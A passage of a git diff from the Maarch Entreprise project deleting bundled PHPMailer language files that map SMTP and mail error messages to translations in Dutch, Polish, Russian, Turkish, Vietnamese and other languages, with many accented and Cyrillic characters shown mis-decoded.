-$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() telah gagal.'; -$PHPMAILER_LANG['smtp_error'] = 'Ralat pada pelayan SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Tidak boleh menetapkan atau menetapkan semula pembolehubah: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-nl.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-nl.php deleted file mode 100755 index 0fc38bec39cad24ab16f64afea59cf6632dd3241..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-nl.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Dutch PHPMailer language file: refer to class.phpmailer.php for definitive list. - * @package PHPMailer - * @author Tuxion <team@tuxion.nl> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP-fout: authenticatie mislukt.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP-fout: kon niet verbinden met SMTP-host.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP-fout: data niet geaccepteerd.'; -$PHPMAILER_LANG['empty_message'] = 'Berichttekst is leeg'; -$PHPMAILER_LANG['encoding'] = 'Onbekende codering: '; -$PHPMAILER_LANG['execute'] = 'Kon niet uitvoeren: '; -$PHPMAILER_LANG['file_access'] = 'Kreeg geen toegang tot bestand: '; -$PHPMAILER_LANG['file_open'] = 'Bestandsfout: kon bestand niet openen: '; -$PHPMAILER_LANG['from_failed'] = 'Het volgende afzendersadres is mislukt: '; -$PHPMAILER_LANG['instantiate'] = 'Kon mailfunctie niet initialiseren.'; -$PHPMAILER_LANG['invalid_address'] = 'Ongeldig adres: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer wordt niet ondersteund.'; -$PHPMAILER_LANG['provide_address'] = 'Er moet minstens één ontvanger worden opgegeven.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP-fout: de volgende ontvangers zijn mislukt: '; -$PHPMAILER_LANG['signing'] = 'Signeerfout: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Verbinding mislukt.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfout: '; -$PHPMAILER_LANG['variable_set'] = 'Kan de volgende variabele niet instellen of resetten: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-no.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-no.php deleted file mode 100755 index 383dd5165f8f6e3c72b63ae16f70a74ed95ff42b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-no.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php -/** - * Norwegian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Feil: Kunne ikke autentisere.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Feil: Kunne ikke koble til SMTP tjener.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Feil: Data ble ikke akseptert.'; -$PHPMAILER_LANG['empty_message'] = 'Meldingsinnholdet er tomt'; -$PHPMAILER_LANG['encoding'] = 'Ukjent tegnkoding: '; -$PHPMAILER_LANG['execute'] = 'Kunne ikke utføre: '; -$PHPMAILER_LANG['file_access'] = 'FÃ¥r ikke tilgang til filen: '; -$PHPMAILER_LANG['file_open'] = 'Fil feil: Kunne ikke Ã¥pne filen: '; -$PHPMAILER_LANG['from_failed'] = 'Følgende avsenderadresse feilet: '; -$PHPMAILER_LANG['instantiate'] = 'Kunne ikke initialisere mailfunksjonen.'; -$PHPMAILER_LANG['invalid_address'] = 'Meldingen ble ikke sendt, følgende adresse er ugyldig: '; -$PHPMAILER_LANG['provide_address'] = 'Du mÃ¥ angi minst en mottakeradresse.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer er ikke supportert.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Feil: Følgende mottagere feilet: '; -$PHPMAILER_LANG['signing'] = 'Signeringsfeil: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() feilet.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfeil: '; -$PHPMAILER_LANG['variable_set'] = 'Kan ikke sette eller resette variabelen: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-pl.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-pl.php deleted file mode 100755 index 3da0dee91f1d0a1f1d0e2972f8d710be67e72208..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-pl.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Polish PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - */ - -$PHPMAILER_LANG['authenticate'] = 'BÅ‚Ä…d SMTP: Nie można przeprowadzić uwierzytelnienia.'; -$PHPMAILER_LANG['connect_host'] = 'BÅ‚Ä…d SMTP: Nie można poÅ‚Ä…czyć siÄ™ z wybranym hostem.'; -$PHPMAILER_LANG['data_not_accepted'] = 'BÅ‚Ä…d SMTP: Dane nie zostaÅ‚y przyjÄ™te.'; -$PHPMAILER_LANG['empty_message'] = 'Wiadomość jest pusta.'; -$PHPMAILER_LANG['encoding'] = 'Nieznany sposób kodowania znaków: '; -$PHPMAILER_LANG['execute'] = 'Nie można uruchomić: '; -$PHPMAILER_LANG['file_access'] = 'Brak dostÄ™pu do pliku: '; -$PHPMAILER_LANG['file_open'] = 'Nie można otworzyć pliku: '; -$PHPMAILER_LANG['from_failed'] = 'NastÄ™pujÄ…cy adres Nadawcy jest nieprawidÅ‚owy: '; -$PHPMAILER_LANG['instantiate'] = 'Nie można wywoÅ‚ać funkcji mail(). Sprawdź konfiguracjÄ™ serwera.'; -$PHPMAILER_LANG['invalid_address'] = 'Nie można wysÅ‚ać wiadomoÅ›ci, '. - 'nastÄ™pujÄ…cy adres Odbiorcy jest nieprawidÅ‚owy: '; -$PHPMAILER_LANG['provide_address'] = 'Należy podać prawidÅ‚owy adres email Odbiorcy.'; -$PHPMAILER_LANG['mailer_not_supported'] = 'Wybrana metoda wysyÅ‚ki wiadomoÅ›ci nie jest obsÅ‚ugiwana.'; -$PHPMAILER_LANG['recipients_failed'] = 'BÅ‚Ä…d SMTP: NastÄ™pujÄ…cy odbiorcy sÄ… nieprawidÅ‚owi: '; -$PHPMAILER_LANG['signing'] = 'BÅ‚Ä…d podpisywania wiadomoÅ›ci: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() zakoÅ„czone niepowodzeniem.'; -$PHPMAILER_LANG['smtp_error'] = 'BÅ‚Ä…d SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Nie można ustawić lub zmodyfikować zmiennej: '; -$PHPMAILER_LANG['extension_missing'] = 'BrakujÄ…ce rozszerzenie: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-pt.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-pt.php deleted file mode 100755 index f365d5d0b4beb0d465574aabfe580062ccef6781..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-pt.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Portuguese (European) PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Jonadabe <jonadabe@hotmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Erro do SMTP: Não foi possÃvel realizar a autenticação.'; -$PHPMAILER_LANG['connect_host'] = 'Erro do SMTP: Não foi possÃvel realizar ligação com o servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erro do SMTP: Os dados foram rejeitados.'; -$PHPMAILER_LANG['empty_message'] = 'A mensagem no e-mail está vazia.'; -$PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; -$PHPMAILER_LANG['execute'] = 'Não foi possÃvel executar: '; -$PHPMAILER_LANG['file_access'] = 'Não foi possÃvel aceder o ficheiro: '; -$PHPMAILER_LANG['file_open'] = 'Abertura do ficheiro: Não foi possÃvel abrir o ficheiro: '; -$PHPMAILER_LANG['from_failed'] = 'Ocorreram falhas nos endereços dos seguintes remententes: '; -$PHPMAILER_LANG['instantiate'] = 'Não foi possÃvel iniciar uma instância da função mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Não foi enviado nenhum e-mail para o endereço de e-mail inválido: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; -$PHPMAILER_LANG['provide_address'] = 'Tem de fornecer pelo menos um endereço como destinatário do e-mail.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erro do SMTP: O endereço do seguinte destinatário falhou: '; -$PHPMAILER_LANG['signing'] = 'Erro ao assinar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; -$PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Não foi possÃvel definir ou redefinir a variável: '; -$PHPMAILER_LANG['extension_missing'] = 'Extensão em falta: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ro.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ro.php deleted file mode 100755 index cf37cc1e38cc907869f40a843270539905bc7bd4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ro.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Romanian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Catalin Constantin <catalin@dazoot.ro> - */ - -$PHPMAILER_LANG['authenticate'] = 'Eroare SMTP: Nu a functionat autentificarea.'; -$PHPMAILER_LANG['connect_host'] = 'Eroare SMTP: Nu m-am putut conecta la adresa SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Eroare SMTP: Continutul mailului nu a fost acceptat.'; -$PHPMAILER_LANG['empty_message'] = 'Mesajul este gol.'; -$PHPMAILER_LANG['encoding'] = 'Encodare necunoscuta: '; -$PHPMAILER_LANG['execute'] = 'Nu pot executa: '; -$PHPMAILER_LANG['file_access'] = 'Nu pot accesa fisierul: '; -$PHPMAILER_LANG['file_open'] = 'Eroare de fisier: Nu pot deschide fisierul: '; -$PHPMAILER_LANG['from_failed'] = 'Urmatoarele adrese From au dat eroare: '; -$PHPMAILER_LANG['instantiate'] = 'Nu am putut instantia functia mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Adresa de email nu este valida: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nu este suportat.'; -$PHPMAILER_LANG['provide_address'] = 'Trebuie sa adaugati cel putin un recipient (adresa de mail).'; -$PHPMAILER_LANG['recipients_failed'] = 'Eroare SMTP: Urmatoarele adrese de mail au dat eroare: '; -$PHPMAILER_LANG['signing'] = 'A aparut o problema la semnarea emailului. '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Conectarea la serverul SMTP a esuat.'; -$PHPMAILER_LANG['smtp_error'] = 'A aparut o eroare la serverul SMTP. '; -$PHPMAILER_LANG['variable_set'] = 'Nu se poate seta/reseta variabila. '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ru.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ru.php deleted file mode 100755 index 4066f6b451c86a82813106a0fb806ff0d1be3119..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ru.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Russian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Alexey Chumakov <alex@chumakov.ru> - * @author Foster Snowhill <i18n@forstwoof.ru> - */ - -$PHPMAILER_LANG['authenticate'] = 'Ошибка SMTP: ошибка авторизации.'; -$PHPMAILER_LANG['connect_host'] = 'Ошибка SMTP: не удаетÑÑ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÑŒÑÑ Ðº Ñерверу SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Ошибка SMTP: данные не принÑÑ‚Ñ‹.'; -$PHPMAILER_LANG['encoding'] = 'ÐеизвеÑтный вид кодировки: '; -$PHPMAILER_LANG['execute'] = 'Ðевозможно выполнить команду: '; -$PHPMAILER_LANG['file_access'] = 'Ðет доÑтупа к файлу: '; -$PHPMAILER_LANG['file_open'] = 'Ð¤Ð°Ð¹Ð»Ð¾Ð²Ð°Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ°: не удаетÑÑ Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚ÑŒ файл: '; -$PHPMAILER_LANG['from_failed'] = 'Ðеверный Ð°Ð´Ñ€ÐµÑ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²Ð¸Ñ‚ÐµÐ»Ñ: '; -$PHPMAILER_LANG['instantiate'] = 'Ðевозможно запуÑтить функцию mail.'; -$PHPMAILER_LANG['provide_address'] = 'ПожалуйÑта, введите Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один Ð°Ð´Ñ€ÐµÑ e-mail получателÑ.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' — почтовый Ñервер не поддерживаетÑÑ.'; -$PHPMAILER_LANG['recipients_failed'] = 'Ошибка SMTP: отправка по Ñледующим адреÑам получателей не удалаÑÑŒ: '; -$PHPMAILER_LANG['empty_message'] = 'ПуÑтое Ñообщение'; -$PHPMAILER_LANG['invalid_address'] = 'Ðе отоÑлано, неправильный формат email адреÑа: '; -$PHPMAILER_LANG['signing'] = 'Ошибка подпиÑи: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ошибка ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ñ SMTP-Ñервером'; -$PHPMAILER_LANG['smtp_error'] = 'Ошибка SMTP-Ñервера: '; -$PHPMAILER_LANG['variable_set'] = 'Ðевозможно уÑтановить или переуÑтановить переменную: '; -$PHPMAILER_LANG['extension_missing'] = 'РаÑширение отÑутÑтвует: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-se.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-se.php deleted file mode 100755 index 2c9ececa47dfb8df57f9180fd0539a076327138c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-se.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Swedish PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Johan Linnér <johan@linner.biz> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP fel: Kunde inte autentisera.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP fel: Kunde inte ansluta till SMTP-server.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP fel: Data accepterades inte.'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'Okänt encode-format: '; -$PHPMAILER_LANG['execute'] = 'Kunde inte köra: '; -$PHPMAILER_LANG['file_access'] = 'Ingen Ã¥tkomst till fil: '; -$PHPMAILER_LANG['file_open'] = 'Fil fel: Kunde inte öppna fil: '; -$PHPMAILER_LANG['from_failed'] = 'Följande avsändaradress är felaktig: '; -$PHPMAILER_LANG['instantiate'] = 'Kunde inte initiera e-postfunktion.'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['provide_address'] = 'Du mÃ¥ste ange minst en mottagares e-postadress.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer stöds inte.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP fel: Följande mottagare är felaktig: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sk.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sk.php deleted file mode 100755 index a38f4e52cf2672582df1994d4e772691920436ff..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sk.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Slovak PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Michal Tinka <michaltinka@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Chyba autentifikácie.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Nebolo možné nadviazaÅ¥ spojenie so SMTP serverom.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dáta neboli prijaté'; -$PHPMAILER_LANG['empty_message'] = 'Prázdne telo správy.'; -$PHPMAILER_LANG['encoding'] = 'Neznáme kódovanie: '; -$PHPMAILER_LANG['execute'] = 'Nedá sa vykonaÅ¥: '; -$PHPMAILER_LANG['file_access'] = 'Súbor nebol nájdený: '; -$PHPMAILER_LANG['file_open'] = 'File Error: Súbor sa otvoriÅ¥ pre ÄÃtanie: '; -$PHPMAILER_LANG['from_failed'] = 'Následujúca adresa From je nesprávna: '; -$PHPMAILER_LANG['instantiate'] = 'Nedá sa vytvoriÅ¥ inÅ¡tancia emailovej funkcie.'; -$PHPMAILER_LANG['invalid_address'] = 'Neodoslané, emailová adresa je nesprávna: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' emailový klient nieje podporovaný.'; -$PHPMAILER_LANG['provide_address'] = 'MusÃte zadaÅ¥ aspoň jednu emailovú adresu prÃjemcu.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Adresy prÃjemcov niesu správne '; -$PHPMAILER_LANG['signing'] = 'Chyba prihlasovania: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() zlyhalo.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP chyba serveru: '; -$PHPMAILER_LANG['variable_set'] = 'Nemožno nastaviÅ¥ alebo resetovaÅ¥ premennú: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sl.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sl.php deleted file mode 100755 index 54c9572506a14067bccdadc323d3c70fe61b2783..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sl.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Slovene PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Klemen TuÅ¡ar <techouse@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP napaka: Avtentikacija ni uspela.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP napaka: Ne morem vzpostaviti povezave s SMTP gostiteljem.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP napaka: Strežnik zavraÄa podatke.'; -$PHPMAILER_LANG['empty_message'] = 'E-poÅ¡tno sporoÄilo nima vsebine.'; -$PHPMAILER_LANG['encoding'] = 'Nepoznan tip kodiranja: '; -$PHPMAILER_LANG['execute'] = 'Operacija ni uspela: '; -$PHPMAILER_LANG['file_access'] = 'Nimam dostopa do datoteke: '; -$PHPMAILER_LANG['file_open'] = 'Ne morem odpreti datoteke: '; -$PHPMAILER_LANG['from_failed'] = 'Neveljaven e-naslov poÅ¡iljatelja: '; -$PHPMAILER_LANG['instantiate'] = 'Ne morem inicializirati mail funkcije.'; -$PHPMAILER_LANG['invalid_address'] = 'E-poÅ¡tno sporoÄilo ni bilo poslano. E-naslov je neveljaven: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer ni podprt.'; -$PHPMAILER_LANG['provide_address'] = 'Prosim vnesite vsaj enega naslovnika.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP napaka: SledeÄi naslovniki so neveljavni: '; -$PHPMAILER_LANG['signing'] = 'Napaka pri podpisovanju: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ne morem vzpostaviti povezave s SMTP strežnikom.'; -$PHPMAILER_LANG['smtp_error'] = 'Napaka SMTP strežnika: '; -$PHPMAILER_LANG['variable_set'] = 'Ne morem nastaviti oz. ponastaviti spremenljivke: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sr.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sr.php deleted file mode 100755 index ed95ca6ea03b17f9138d8b40b8b406b6241eb6cf..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-sr.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Serbian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author ÐлекÑандар Јевремовић <ajevremovic@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP грешка: аутентификација није уÑпела.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP грешка: није могуће повезивање Ñа SMTP Ñервером.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: подаци ниÑу прихваћени.'; -$PHPMAILER_LANG['empty_message'] = 'Садржај поруке је празан.'; -$PHPMAILER_LANG['encoding'] = 'Ðепознато кодовање: '; -$PHPMAILER_LANG['execute'] = 'Ðије могуће извршити наредбу: '; -$PHPMAILER_LANG['file_access'] = 'Ðије могуће приÑтупити датотеци: '; -$PHPMAILER_LANG['file_open'] = 'Ðије могуће отворити датотеку: '; -$PHPMAILER_LANG['from_failed'] = 'SMTP грешка: Ñлање Ñа Ñледећих адреÑа није уÑпело: '; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: Ñлање на Ñледеће адреÑе није уÑпело: '; -$PHPMAILER_LANG['instantiate'] = 'Ðије могуће покренути mail функцију.'; -$PHPMAILER_LANG['invalid_address'] = 'Порука није поÑлата због неиÑправне адреÑе: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' мејлер није подржан.'; -$PHPMAILER_LANG['provide_address'] = 'Потребно је задати најмање једну адреÑу.'; -$PHPMAILER_LANG['signing'] = 'Грешка приликом пријављивања: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Повезивање Ñа SMTP Ñервером није уÑпело.'; -$PHPMAILER_LANG['smtp_error'] = 'Грешка SMTP Ñервера: '; -$PHPMAILER_LANG['variable_set'] = 'Ðије могуће задати променљиву, нити је вратити уназад: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-tr.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-tr.php deleted file mode 100755 index 323fb4b5f89ee8be09c0559b6fad70f6d1702c81..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-tr.php +++ /dev/null @@ -1,29 +0,0 @@ -<?php -/** - * Turkish PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Elçin Özel - * @author Can Yılmaz - * @author Mehmet BenlioÄŸlu - * @author @yasinaydin - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Hatası: Oturum açılamadı.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Hatası: SMTP sunucusuna baÄŸlanılamadı.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Hatası: Veri kabul edilmedi.'; -$PHPMAILER_LANG['empty_message'] = 'Mesajın içeriÄŸi boÅŸ'; -$PHPMAILER_LANG['encoding'] = 'Bilinmeyen karakter kodlama: '; -$PHPMAILER_LANG['execute'] = 'Çalıştırılamadı: '; -$PHPMAILER_LANG['file_access'] = 'Dosyaya eriÅŸilemedi: '; -$PHPMAILER_LANG['file_open'] = 'Dosya Hatası: Dosya açılamadı: '; -$PHPMAILER_LANG['from_failed'] = 'Belirtilen adreslere gönderme baÅŸarısız: '; -$PHPMAILER_LANG['instantiate'] = 'Örnek e-posta fonksiyonu oluÅŸturulamadı.'; -$PHPMAILER_LANG['invalid_address'] = 'Geçersiz e-posta adresi: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' e-posta kütüphanesi desteklenmiyor.'; -$PHPMAILER_LANG['provide_address'] = 'En az bir alıcı e-posta adresi belirtmelisiniz.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Hatası: Belirtilen alıcılara ulaşılamadı: '; -$PHPMAILER_LANG['signing'] = 'Ä°mzalama hatası: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP connect() fonksiyonu baÅŸarısız.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP sunucu hatası: '; -$PHPMAILER_LANG['variable_set'] = 'DeÄŸiÅŸken ayarlanamadı ya da sıfırlanamadı: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-uk.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-uk.php deleted file mode 100755 index 9a7b34674e4b688a950652f5c0d696821e940438..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-uk.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Ukrainian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Yuriy Rudyy <yrudyy@prs.net.ua> - * @fixed by Boris Yurchenko <boris@yurchenko.pp.ua> - */ - -$PHPMAILER_LANG['authenticate'] = 'Помилка SMTP: помилка авторизації.'; -$PHPMAILER_LANG['connect_host'] = 'Помилка SMTP: не вдаєтьÑÑ Ð¿Ñ–Ð´\'єднатиÑÑ Ð´Ð¾ Ñерверу SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Помилка SMTP: дані не прийнÑÑ‚Ñ–.'; -$PHPMAILER_LANG['encoding'] = 'Ðевідомий тип кодуваннÑ: '; -$PHPMAILER_LANG['execute'] = 'Ðеможливо виконати команду: '; -$PHPMAILER_LANG['file_access'] = 'Ðемає доÑтупу до файлу: '; -$PHPMAILER_LANG['file_open'] = 'Помилка файлової ÑиÑтеми: не вдаєтьÑÑ Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ð¸ файл: '; -$PHPMAILER_LANG['from_failed'] = 'Ðевірна адреÑа відправника: '; -$PHPMAILER_LANG['instantiate'] = 'Ðеможливо запуÑтити функцію mail.'; -$PHPMAILER_LANG['provide_address'] = 'Будь-лаÑка, введіть хоча б одну адреÑу e-mail отримувача.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' - поштовий Ñервер не підтримуєтьÑÑ.'; -$PHPMAILER_LANG['recipients_failed'] = 'Помилка SMTP: Ð²Ñ–Ð´Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð½Ñ Ð½Ð°Ñтупним отримувачам не вдалоÑÑ: '; -$PHPMAILER_LANG['empty_message'] = 'ПуÑте тіло повідомленнÑ'; -$PHPMAILER_LANG['invalid_address'] = 'Ðе відправлено, невірний формат адреÑи e-mail: '; -$PHPMAILER_LANG['signing'] = 'Помилка підпиÑу: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Помилка з\'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ñ–Ð· SMTP-Ñервером'; -$PHPMAILER_LANG['smtp_error'] = 'Помилка SMTP-Ñервера: '; -$PHPMAILER_LANG['variable_set'] = 'Ðеможливо вÑтановити або перевÑтановити змінну: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-vi.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-vi.php deleted file mode 100755 index c60dadebdb34d0a0e860c8f63704ea9fc12633f2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-vi.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Vietnamese (Tiếng Việt) PHPMailer language file: refer to English translation for definitive list. - * @package PHPMailer - * @author VINADES.,JSC <contact@vinades.vn> - */ - -$PHPMAILER_LANG['authenticate'] = 'Lá»—i SMTP: Không thể xác thá»±c.'; -$PHPMAILER_LANG['connect_host'] = 'Lá»—i SMTP: Không thể kết nối máy chủ SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Lá»—i SMTP: Dữ liệu không được chấp nháºn.'; -$PHPMAILER_LANG['empty_message'] = 'Không có ná»™i dung'; -$PHPMAILER_LANG['encoding'] = 'Mã hóa không xác định: '; -$PHPMAILER_LANG['execute'] = 'Không thá»±c hiện được: '; -$PHPMAILER_LANG['file_access'] = 'Không thể truy cáºp tệp tin '; -$PHPMAILER_LANG['file_open'] = 'Lá»—i Táºp tin: Không thể mở tệp tin: '; -$PHPMAILER_LANG['from_failed'] = 'Lá»—i địa chỉ gá»i Ä‘i: '; -$PHPMAILER_LANG['instantiate'] = 'Không dùng được các hà m gá»i thÆ°.'; -$PHPMAILER_LANG['invalid_address'] = 'Äại chỉ emai không đúng: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' trình gá»i thÆ° không được há»— trợ.'; 